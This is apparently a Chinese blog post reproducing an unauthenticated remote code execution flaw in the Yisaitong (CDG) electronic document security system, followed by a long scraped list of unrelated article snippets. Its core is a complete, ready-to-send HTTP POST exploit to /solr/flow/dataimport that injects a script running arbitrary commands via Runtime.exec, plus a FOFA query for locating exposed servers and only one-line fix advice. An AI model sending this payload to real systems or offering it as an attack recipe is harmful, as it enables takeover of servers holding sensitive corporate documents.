OidBoy_G
OidBoy_G

亿赛通电子文档安全管理系统 RCE漏洞复现

0x01 产品简介

   亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。

0x02 漏洞概述

   亿赛通电子文档安全管理系统/solr/flow/dataimport接口处存在远程代码执行漏洞，未经授权的攻击者可通过此漏洞执行任意指令，从而获取服务器权限。

0x03 复现环境

 FOFA：app="亿赛通-电子文档安全管理系统"

亿赛通电子文档安全管理系统 RCE漏洞复现_第1张图片

0x04 漏洞复现 

http://your-ip/solr/flow/dataimport

亿赛通电子文档安全管理系统 RCE漏洞复现_第2张图片出现以上这种情况可能存在漏洞

PoC

POST /solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22执行的命令%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1383.67 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: your-ip

dnslog验证

亿赛通电子文档安全管理系统 RCE漏洞复现_第3张图片

亿赛通电子文档安全管理系统 RCE漏洞复现_第4张图片

 RCE

亿赛通电子文档安全管理系统 RCE漏洞复现_第5张图片

0x05 修复建议 

设置安全组仅对可信地址开放

升级至安全版本

你可能感兴趣的:(漏洞复现,安全,web安全,网络安全)

  • API签名认证详解 派大星在做蟹黄包 后端
    本质签发签名认证签名(使用签名或校验码。这就像一些短信接口的key一样别纠结名字)accessKeysecretKey/appKeyappSecret一样1.思考(场景)如果说我们把这个接口提供给开发者，但是我们现在是不是根本不知道是谁来调用的。假如说我们的服务器只能允许100个人来调用。假如说有一个攻击者来了，他就刷量了，他想疯狂的刷我的服务器，那是不是非常的不安全？另外一方面就是你的服务器的性
  • Xss漏洞总结
    一、XSS漏洞简介XSS（Cross-SiteScripting，跨站脚本攻击）是一种常见的Web前端安全漏洞，其主要危害对象是网站的访问用户。攻击者通过在网页中注入恶意脚本代码（如JavaScript、Flash等），诱使用户访问后在其浏览器中执行这些代码，从而达到窃取数据、控制会话等攻击目的。二、XSS漏洞原理XSS的根本原因在于服务器未对用户提交的输入内容进行严格过滤和转义处理，导致用户提供
  • HMAC API 接口签名 Message安全验证 潘多编程 java高级哈希算法算法
    什么是HMAC？HMAC全称（Hash-basedMessageAuthenticationCode，即基于Hash的消息的认证码）。-基本过程为对某个消息，利用提前共享的对称密钥和Hash算法进行加密处理，得到HMAC值。-该HMAC值提供方可以证明自己拥有共享密钥的对称密钥，并且消息自身可以利用HMAC确保未经篡改。为什么需要API接口签名？对外开放的API接口都会面临一些安全问题，例如伪装攻
  • 原型链污染 江湖没什么好的 xss
    原型链污染（PrototypePollution）是一种针对JavaScript应用的安全漏洞，攻击者通过操纵对象的原型链，向基础对象（如Object.prototype）注入恶意属性，从而影响整个应用程序的行为。以下是详细解析：核心原理JavaScript原型链机制：每个对象都有隐式原型__proto__（或通过Object.getPrototypeOf()访问），指向其构造函数的原型对象。访问
  • 临夏市公安局交警大队7月3日交通秩序整治工作日报 0ac9f2ac4866
    2019年7月3日，临夏市公安局交警大队共出动警力113余人，警车9辆，警用摩托车11辆，在全市辖区范围内开展交通秩序整治。图片发自App图片发自App图片发自App图片发自App今日查处违法行为共230起，其中违法停车87起，摩托车不戴头盔19起，未系安全带16起，机动车违反禁令标志23起，逾期未检验起12，电瓶车逆向行驶24起，电动车非法载人18起，行人闯红灯39起，现场批评教育驾驶人54人。
  • Windows 环境下 Nginx 的安装与高级配置指南
    目录第一章：Windows平台Nginx概述1.1Windows版Nginx特点1.2适用场景分析第二章：Nginx安装与配置2.1下载与安装2.2目录结构说明2.3注册为系统服务（可选）第三章：基础配置与优化3.1主配置文件优化(conf/nginx.conf)3.2虚拟主机配置示例第四章：性能优化策略4.1Windows特有优化参数4.2不同配置性能对比4.3系统参数调整第五章：安全配置5.1
  • 信用卡倒卡最佳方法信用卡使用方法和（技巧乐刷pos官网）建议尽量 小易的生活
    信用卡倒卡通常指的是通过一种非正规手段，如套现等，来实现信用卡资金的转移或利用。然而，我必须明确指出.关于信用卡的正确使用方法，可以归纳如下：信用卡使用方法激活信用卡：在收到信用卡后，按照银行提供的指引进行激活。激活方式可能包括电话激活、网上银行激活或移动应用激活等激活过程中需输入信用卡卡号、有效期、安全码等信息，并设置查询密码和交易密码。刷卡消费：信用卡的主要功能是刷卡消费。在实体店或线上商家购
  • RabbitMQ--消息应答
    一、概念1、概念消费者完成一个任务可能需要一段时间，如果其中一个消费者处理一个长的任务并只完成了部分突然他就挂了，此时消息就会丢失。为了保证消息在发送过程中不丢失，RabbitMQ引入了消息应答机制，消息应答就是：消费者在接收到消息并处理该消息后，告诉RabbitMQ已经处理，RabbitMQ就可以把该消息删除。2、自动应答消息发送后立即被任务已传送成功，这种模式需要在高吞吐量和数据传输安全性方面
  • ❤️好巧，怎么说的是你。 我是你的傻蛋呀
    图片发自App一直觉得，喜欢截屏聊天记录的人，对于幸福的感受，都不是那么清晰。大概是太没有安全感了，所以才总是想要寻找一些证据，来证明自己遇到的是爱情。才会在看到那些用文字表达出来的爱意时，就迫不及待地截图保存。以为那些字句，就是他爱你的表现。真正的爱情哪里需要证明，他爱不爱你，没有人比你更清楚了。为什么生活中有那么多女生喜欢截屏？说到底还是因为他给的爱太少了啊，少到你只能通过那些没有温度的文字，
  • 技术演进中的开发沉思-15 window编程系列：内存体系结构（下） chilavert318 熬之滴水穿石windows
    今天接着上个章节没讲完的内容继续，在我眼里Windows内存体系结构就如同深埋在海底的神秘宝藏，承载着系统运行的关键密码，今天我们从其中的页面保护属性、实例分析与数据对齐说起。一、页面保护属性在Windows的内存世界里，页面保护属性就像是一支训练有素的守护者联盟，它们日夜坚守岗位，守护着数据的安全与稳定，确保系统能够有条不紊地运行。每一种保护属性都有着独特的职责与使命，它们相互协作，共同构建起一
  • 【Elasticsearch】安全地删除快照仓库、快照
    安全地删除快照仓库、快照1.删除仓库2.删除快照在上一篇博文《【Elasticsearch】快照与恢复功能详解》中，我们针对Elasticsearch的快照和恢复功能进行的讲解。细心的同学可能会对以下的命令产生疑惑，直接删除是安全的吗？本文将会给你答案。删除仓库：DELETE/_snapshot/my_backup_repo删除快照：DELETE/_snapshot/my_backup_repo/
  • 日进六功第100天之突破 腾飞爱自己
    1.执行力之突破感恩陪伴，活出自己！一直逃避，讨好，无处可逃的煎熬为哪般！你准好了吗？真的准备好了吗？问问你的心…昨天老师还问我…两天课程的浸泡，最大的突破是敢于表达自己…抓住最后的护航尾巴，今天主动找到护航老师，一切都是最好的安排！当控制型老板遇到叛逆期员工！如此在意别人的眼光，逼得自己痛苦煎熬为哪般？敢对自己下刀才是根本…不接受不愿意面对自己的爷爷，姥姥突然离世，妈妈的恐惧和不安全感！表达出自
  • HTTPS证书体系，证书加密流程（通信体系）
    目录一、HTTPS证书体系：核心是“信任链”机制二、HTTPS通信加密流程（TLS握手+数据传输）三、核心逻辑总结一、HTTPS证书体系：核心是“信任链”机制HTTPS证书（SSL/TLS证书）是用于验证服务器身份并加密通信的电子文件，其核心作用是解决“如何让客户端信任服务器身份”以及“如何安全交换加密密钥”。证书体系通过层级化的信任机构（CA）构建，本质是一套“由权威机构背书的身份验证体系”。1
  • 网络安全第三次作业 zesfeds csshtml前端
    多功能演示页面/*全局样式*/*{margin:0;padding:0;box-sizing:border-box;font-family:'Arial',sans-serif;}body{background-color:#f0f2f5;color:#333;line-height:1.6;}.container{max-width:1200px;margin:0auto;padding:20p
  • 借助零信任网格重塑分布式MCP与LLM访问：安全、灵活的下一代架构实践 码力金矿 机器学习深度学习人工智能人工智能自动化运维数据库mysqlpythonjava
    在数字化转型的浪潮中，AI应用与分布式系统正在加速融合。传统架构中，MCP（模型上下文协议）服务与LLM（大语言模型）工具的部署常面临安全暴露、网络复杂性、跨防火墙通信等挑战。本文将结合零信任网格（ZTM,ZeroTrustMesh）与Flomesh技术，探索一种更安全、灵活的分布式架构方案，让MCP服务无需VPN或静态IP即可实现全球可访问，同时为LLM应用提供统一的安全层。一、传统分布式架构的
  • 二维码异地收款无限制,什么收款码可以异地收款 神州网络公司
    在现代社会中，随着电子支付的普及和使用频率的增加，收款方式也变得多样化。针对异地收款需求，各种收款码应运而生，为人们提供了极大的便利。今天，我们将探讨一些常见的异地收款码及其特点。首先，我们来了解一下支付宝收款码。支付宝作为中国最主流的移动支付平台之一，其收款码功能得到广泛应用。通过支付宝收款码，用户可以将自己的收款二维码分享给他人，无论对方身处何地，只要扫描二维码并确认支付，资金就能安全快速地转
  • 基于Docker搭建Harbor私有镜像仓库
    Harbor是VMware开源的企业级Docker容器镜像仓库，支持镜像存储、访问控制、镜像复制、安全扫描、审计日志等功能，适合企业级私有化部署。1.前置环境说明Harbor的部署依赖于Docker和DockerCompose环境。鉴于Docker已在系统中完成安装，以下将重点介绍DockerCompose的配置及Harbor的安装步骤。下面示例是在线安装，离线安装可以去github下载安装包[r
  • Kubernetes 核心命令速查手册：运维与开发必备 liux3528 k8skubernetes运维容器
    本文整理了Kubernetes集群运维的实用命令集锦，涵盖8大核心场景：1）集群基础信息查看；2）Pod生命周期管理；3）服务与网络配置；4）存储与配置管理；5）故障排查方法；6）性能监控优化；7）高级运维技巧；8）命令行效率工具。重点包括节点状态查询、Pod调试、日志分析、网络连通性测试、资源监控等高频操作，并提供了批量处理、安全审计、集群维护等进阶技巧。每个命令均标注适用场景，可作为K8s运维
  • 线程安全之乐观锁和悲观锁
    锁可以从不同的⻆度分类。其中，乐观锁和悲观锁是⼀种分类⽅式。悲观锁：悲观锁就是我们常说的锁。对于悲观锁来说，它总是认为每次访问共享资源时会发⽣冲突，所以必须对每次数据操作加上锁，以保证临界区的程序同⼀时间只能有⼀个线程在执⾏。乐观锁：乐观锁⼜称为“⽆锁”，顾名思义，它是乐观派。乐观锁总是假设对共享资源的访问没有冲突，线程可以不停地执⾏，⽆需加锁也⽆需等待。⽽⼀旦多个线程发⽣冲突，乐观锁通常是使⽤⼀
  • 黄河，我的母亲——教读《黄河颂》有感 山城居士
    黄河，你是巍巍昆仑孕育的女儿是生我，养我的母亲你如同黄沙般普通又朴实每天重复着同样的事——哺育我成长你伸出千万条柔弱的手臂，揽着我给我温暖与安全你是摇篮，我就是你摇篮里的婴孩你经历无数的狂风暴雨始终不变奔向黄海的志向把坚强融进了血脉这是你赋予我的期盼——博大胸怀这是你教会我的人生——坚强勇敢
  • Linux利用多线程和线程同步实现一个简单的聊天服务器
    1.概述本文实现一个基于TCP/IP的简单多人聊天室程序。它包含一个服务器端和一个客户端：服务器能够接收多个客户端的连接，并将任何一个客户端发来的消息广播给所有其他连接的客户端；客户端则可以连接到服务器，发送消息并接收来自其他人的消息。该Demo运用了网络编程（SocketAPI）、多线程（Pthreads）以及线程同步（互斥锁）技术，以实现并发处理和数据共享安全。2.核心技术网络编程(Socke
  • ESG碳交易骗局揭秘！量化北恒私募实盘大赛周一丰郭沛源被骗历程!受骗不能出金! 易星辰分享普法
    量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办？警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局！被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”，现如今也是被骗子利用到了极致，人善就真该被欺骗吗？狡猾的骗子们就利用到了这点，利用同情心、爱心去进行诈骗，宣传公益捐款、爱心慈善打比赛来骗取资金！正常的投
  • Navicat 连接不上阿里云服务器中安装的宝塔面板中的Mysql服务器 一只程序熊 阿里云服务器云计算
    项目场景：就今天在做宝塔的时候遇到一个新问题，在之前的阿里云服务器中都没有发现过这个问题！特此记录解决方案：本地连接不上云服务器主要是这几个原因：1.云服务器官方的安全组问题(安全组是否放行目标端口)2.云服务器内部的服务端口问题(服务器内部端口是否向外部开放)但是今天我又在云服务器安全组内部发现了一个新的问题：3.云服务器中设置了仅本机访问的ipv6的地址，但是仍然访问不了。可能是因为navic
  • 计算机网络学习----Https协议 典孝赢麻崩乐急 计算机网络学习https
    在互联网通信中，数据安全始终是核心需求。当用户在浏览器中输入https://访问网站时，背后隐藏着一套复杂的安全机制——HTTPS（HypertextTransferProtocolSecure）。它通过TLS/SSL协议对HTTP通信加密，而支撑这一加密体系的核心正是证书体系。本文将详细解析HTTPS的证书体系、加密通信流程、核心作用、优缺点，并结合代码示例说明其实现逻辑。HTTPS是什么？HT
  • 2021-05-04 2021年5月9日考试顺利通过毕业 kellying
    不知什么时候，我每逢考试，我非常的紧张，考试之前根本无法入睡，精神也不再状态里，这是我一直来的毛病，在读小学，中学，中专，考试的时候，经常丢东西，丢三丢四，因此掉了很多的东西，经常抱怨自己，恨自己，结果我一点不自信，缺乏安全感，走进社会，混的不好。是自己记忆性不如别人，所以做任何事情不如别人，现在经过自己的努力终于找到一点自信了，希望我的今后的日子好过点，谢谢
  • 基于单片机智能消毒柜设计 小新单片机 单片机设计库单片机嵌入式硬件stm32消毒柜
    传送门其他作品题目速选一览表其他作品题目功能速览概述本设计实现了一种基于单片机的高效智能消毒柜系统，集精准灭菌、安全防护与能耗管理于一体。系统以微控制器（如STM32）为核心，集成多模式消毒模块、环境传感器及人机交互单元。所以想通过本次设计真正意义上去感受智能产品的魅力;更加深刻了解单片机以及嵌入式操作系的主要特点在于功能性强实用、操作简单、价格低并且还易于安装这些特点。一、系统核心组成模块功能说
  • 煤海放飞青春梦 尘飞扬兮
    青春像一首诗，任凭年青的心灵创作；青春像一碗心灵鸡汤，令失去它的人午夜梦回念念不忘；青春更像一个梦，让无数选煤儿女兢兢业业为之奋斗，为之耕耘！在美丽的准格尔煤田，一批批怀揣青春梦的青年们前仆后继破碎站——梦开始的地方驰骋煤海，他们在这里播种青春梦，收获了事业的成功更实现了人生的价值！阳光倾洒而下，轻柔曼妙，轻地仿佛怕惊动了沉睡的煤尘。嘎吱一声响，岗位室的门开了，一个头戴红色安全帽，系黑色帽带，穿橘
  • 基于单片机智能衣柜/智能衣橱设计 小新单片机 单片机设计库单片机嵌入式硬件51单片机stm32智能衣橱
    传送门其他作品题目速选一览表其他作品题目功能速览概述本设计实现了一种基于单片机的多功能智能衣柜，融合环境检测、安全防护与用户交互功能。系统以微控制器（如STM32/ESP32）为核心，集成传感器、执行机构及无线通信模块（Wi-Fi/蓝牙）。研究此项目可以让我们的生活变得更加便捷，所以想通过本次设计真正意义上去感受智能产品的魅力;更加深刻了解单片机以及嵌入式操作系的主要特点在于功能性强实用、操作简单
  • 记录快乐的读书时光 林姐_健康生活
    “魔法人生·悦读俱乐部”第21天打卡（《业力管理》第97页~第112页）：生命终究是脆弱的，十几岁的少年骑电动车和三轮车发生车祸，人当场没了，可以想象到父母撕心裂肺的痛…到底是谁的错？孩子的胆大？父母的放纵？车主的粗心大意？揪谁的错没有意义，流逝的生命已无法挽回，安全警钟必须长鸣！一、今天阅读的有哪些重点内容，对我有哪些启发今天读了业力管理法则五：停止做决定1.“极简主义”设计，只有礼盒图片，没有
  • 典型骗局：以为进了炒股“社科院正式学堂朱民内部群”赚了大钱!结果进入St-balance节能煤水风电市场杀猪盘被骗45万 反诈进行时
    小心虚假St-balance节能煤水风电市场诈骗股股民！科院正式学堂朱民授课免费荐股有猫腻，不要投钱！随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗St-balance节能煤水风电市场就是虚假平台，早期小故意让你提现，一旦大资金进入就
  • 插入表主键冲突做更新 a-john
    有以下场景： 用户下了一个订单，订单内的内容较多，且来自多表，首次下单的时候，内容可能会不全（部分内容不是必须，出现有些表根本就没有没有该订单的值）。在以后更改订单时，有些内容会更改，有些内容会新增。 问题： 如果在sql语句中执行update操作，在没有数据的表中会出错。如果在逻辑代码中先做查询，查询结果有做更新，没有做插入，这样会将代码复杂化。 解决： mysql中提供了一个sql语
  • Android xml资源文件中@、@android:type、@*、？、@+含义和区别 Cb123456 @+@?@*
    一.@代表引用资源 1.引用自定义资源。格式：@[package:]type/name android：text="@string/hello"   2.引用系统资源。格式：@android:type/name     android:textColor="@android:color/opaque_red"
  • 数据结构的基本介绍 天子之骄 数据结构散列表树、图线性结构价格标签
    数据结构的基本介绍 数据结构就是数据的组织形式，用一种提前设计好的框架去存取数据，以便更方便，高效的对数据进行增删查改。正确选择合适的数据结构，对软件程序的高效执行的影响作用不亚于算法的设计。此外，在计算机系统中数据结构的作用也是非同小可。例如常常在编程语言中听到的栈，堆等，就是经典的数据结构。   经典的数据结构大致如下：   一：线性数据结构 (1)：列表 a
  • 通过二维码开放平台的API快速生成二维码 一炮送你回车库 api
     现在很多网站都有通过扫二维码用手机连接的功能，联图网(http://www.liantu.com/pingtai/)的二维码开放平台开放了一个生成二维码图片的Api,挺方便使用的。闲着无聊，写了个前台快速生成二维码的方法。        html代码如下:(二维码将生成在这div下) ? 1  &nbs
  • ImageIO读取一张图片改变大小 3213213333332132 javaIOimageBufferedImage
    package com.demo; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; /** * @Description 读取一张图片改变大小 * @author FuJianyon
  • myeclipse集成svn（一针见血） 7454103 eclipseSVNMyEclipse
                                     &n
  • 装箱与拆箱----autoboxing和unboxing darkranger J2SE
    4.2　自动装箱和拆箱 基本数据(Primitive)类型的自动装箱(autoboxing)、拆箱(unboxing)是自J2SE 5.0开始提供的功能。虽然为您打包基本数据类型提供了方便，但提供方便的同时表示隐藏了细节，建议在能够区分基本数据类型与对象的差别时再使用。 4.2.1　autoboxing和unboxing 在Java中，所有要处理的东西几乎都是对象(Object)
  • ajax传统的方式制作ajax aijuans Ajax
    //这是前台的代码 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+
  • 只用jre的eclipse是怎么编译java源文件的？ avords javaeclipsejdktomcat
    eclipse只需要jre就可以运行开发java程序了，也能自动 编译java源代码，但是jre不是java的运行环境么，难道jre中也带有编译工具？ 还是eclipse自己实现的？谁能给解释一下呢问题补充：假设系统中没有安装jdk or jre，只在eclipse的目录中有一个jre，那么eclipse会采用该jre，问题是eclipse照样可以编译java源文件，为什么呢？ &nb
  • 前端模块化 bee1314 模块化
    背景： 前端JavaScript模块化，其实已经不是什么新鲜事了。但是很多的项目还没有真正的使用起来，还处于刀耕火种的野蛮生长阶段。   JavaScript一直缺乏有效的包管理机制，造成了大量的全局变量，大量的方法冲突。我们多么渴望有天能像Java（import），Python (import)，Ruby(require)那样写代码。在没有包管理机制的年代，我们是怎么避免所
  • 处理百万级以上的数据处理 bijian1013 oraclesql数据库大数据查询
    一.处理百万级以上的数据提高查询速度的方法：        1.应尽量避免在 where 子句中使用!=或<>操作符，否则将引擎放弃使用索引而进行全表扫描。         2.对查询进行优化，应尽量避免全表扫描，首先应考虑在 where 及 o
  • mac 卸载 java 1.7 或更高版本 征客丶 javaOS
    卸载 java 1.7 或更高 sudo rm -rf /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin 成功执行此命令后，还可以执行 java 与 javac 命令 sudo rm -rf /Library/PreferencePanes/JavaControlPanel.prefPane 成功执行此命令后，还可以执行 java
  • 【Spark六十一】Spark Streaming结合Flume、Kafka进行日志分析 bit1129 Stream
    第一步，Flume和Kakfa对接，Flume抓取日志，写到Kafka中 第二部，Spark Streaming读取Kafka中的数据，进行实时分析   本文首先使用Kakfa自带的消息处理（脚本）来获取消息，走通Flume和Kafka的对接 1. Flume配置 1. 下载Flume和Kafka集成的插件，下载地址：https://github.com/beyondj2ee/f
  • Erlang vs TNSDL bookjovi erlang
          TNSDL是Nokia内部用于开发电信交换软件的私有语言，是在SDL语言的基础上加以修改而成，TNSDL需翻译成C语言得以编译执行，TNSDL语言中实现了异步并行的特点，当然要完整实现异步并行还需要运行时动态库的支持，异步并行类似于Erlang的process（轻量级进程），TNSDL中则称之为hand，Erlang是基于vm(beam)开发，
  • 非常希望有一个预防疲劳的java软件, 预防过劳死和眼睛疲劳,大家一起努力搞一个 ljy325 企业应用
    　非常希望有一个预防疲劳的java软件，我看新闻和网站，国防科技大学的科学家累死了，太疲劳，老是加班，不休息，经常吃药，吃药根本就没用，根本原因是疲劳过度。我以前做java,那会公司垃圾，老想赶快学习到东西跳槽离开，搞得超负荷，不明理。深圳做软件开发经常累死人，总有不明理的人，有个软件提醒限制很好，可以挽救很多人的生命。 相关新闻： （1）IT行业成五大疾病重灾区：过劳死平均37.9岁
  • 读《研磨设计模式》-代码笔记-原型模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ /** * Effective Java 建议使用copy constructor or copy factory来代替clone()方法： * 1.public Product copy(Product p){} * 2.publi
  • 配置管理---svn工具之权限配置 chenyu19891124 SVN
    今天花了大半天的功夫，终于弄懂svn权限配置。下面是今天收获的战绩。 安装完svn后就是在svn中建立版本库，比如我本地的是版本库路径是C:\Repositories\pepos。pepos是我的版本库。在pepos的目录结构 pepos    component    webapps 在conf里面的auth里赋予的权限配置为 [groups]
  • 浅谈程序员的数学修养 comsci 设计模式编程算法面试招聘
                                     浅谈程序员的数学修养
  • 批量执行 bulk collect与forall用法 daizj oraclesqlbulk collectforall
    BULK COLLECT 子句会批量检索结果，即一次性将结果集绑定到一个集合变量中，并从SQL引擎发送到PL/SQL引擎。通常可以在SELECT INTO、 FETCH INTO以及RETURNING INTO子句中使用BULK COLLECT。本文将逐一描述BULK COLLECT在这几种情形下的用法。     有关FORALL语句的用法请参考：批量SQL之 F
  • Linux下使用rsync最快速删除海量文件的方法 dongwei_6688 OS
    1、先安装rsync：yum install rsync 2、建立一个空的文件夹：mkdir /tmp/test 3、用rsync删除目标目录：rsync --delete-before -a -H -v --progress --stats /tmp/test/ log/这样我们要删除的log目录就会被清空了，删除的速度会非常快。rsync实际上用的是替换原理，处理数十万个文件也是秒删。
  • Yii CModel中rules验证规格 dcj3sjt126com rulesyiivalidate
    Yii cValidator主要用法分析：  yii验证rulesit 分类： Yii yii的rules验证 cValidator主要属性 attributes ,builtInValidators,enableClientValidation,message,on,safe,skipOnError  
  • 基于vagrant的redis主从实验 dcj3sjt126com vagrant
    平台: Mac 工具: Vagrant 系统: Centos6.5 实验目的: Redis主从   实现思路 制作一个基于sentos6.5, 已经安装好reids的box, 添加一个脚本配置从机, 然后作为后面主机从机的基础box   制作sentos6.5+redis的box   mkdir vagrant_redis cd vagrant_
  • Memcached(二)、Centos安装Memcached服务器 frank1234 centosmemcached
    一、安装gcc rpm和yum安装memcached服务器连接没有找到，所以我使用的是make的方式安装，由于make依赖于gcc，所以要先安装gcc 开始安装，命令如下，[color=red][b]顺序一定不能出错[/b][/color]： 建议可以先切换到root用户，不然可能会遇到权限问题：su root 输入密码...... rpm -ivh kernel-head
  • Remove Duplicates from Sorted List hcx2013 remove
    Given a sorted linked list, delete all duplicates such that each element appear only once. For example,Given 1->1->2, return 1->2.Given 1->1->2->3->3, return&
  • Spring4新特性——JSR310日期时间API的支持 jinnianshilongnian spring4
    Spring4新特性——泛型限定式依赖注入 Spring4新特性——核心容器的其他改进 Spring4新特性——Web开发的增强 Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC  Spring4新特性——Groovy Bean定义DSL Spring4新特性——更好的Java泛型操作API  Spring4新
  • 浅谈enum与单例设计模式 247687009 java单例
    在JDK1.5之前的单例实现方式有两种(懒汉式和饿汉式并无设计上的区别故看做一种)，两者同是私有构 造器，导出静态成员变量，以便调用者访问。 第一种 package singleton; public class Singleton { //导出全局成员 public final static Singleton INSTANCE = new S
  • 使用switch条件语句需要注意的几点 openwrt cbreakswitch
    1. 当满足条件的case中没有break，程序将依次执行其后的每种条件（包括default）直到遇到break跳出 int main() { int n = 1; switch(n) { case 1: printf("--1--\n"); default: printf("defa
  • 配置Spring Mybatis JUnit测试环境的应用上下文 schnell18 springmybatisJUnit
    Spring-test模块中的应用上下文和web及spring boot的有很大差异。主要试下来差异有： 单元测试的app context不支持从外部properties文件注入属性 @Value注解不能解析带通配符的路径字符串 解决第一个问题可以配置一个PropertyPlaceholderConfigurer的bean。 第二个问题的具体实例是：    
  • Java 定时任务总结一 tuoni javaspringtimerquartztimertask
     Java定时任务总结  一.从技术上分类大概分为以下三种方式：  1.Java自带的java.util.Timer类，这个类允许你调度一个java.util.TimerTask任务;   说明：    java.util.Timer定时器，实际上是个线程，定时执行TimerTask类 &
  • 一种防止用户生成内容站点出现商业广告以及非法有害等垃圾信息的方法 yangshangchuan rank相似度计算文本相似度词袋模型余弦相似度
    本文描述了一种在ITEYE博客频道上面出现的新型的商业广告形式及其应对方法，对于其他的用户生成内容站点类型也具有同样的适用性。   最近在ITEYE博客频道上面出现了一种新型的商业广告形式，方法如下：     1、注册多个账号（一般10个以上）。     2、从多个账号中选择一个账号，发表1-2篇博文
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他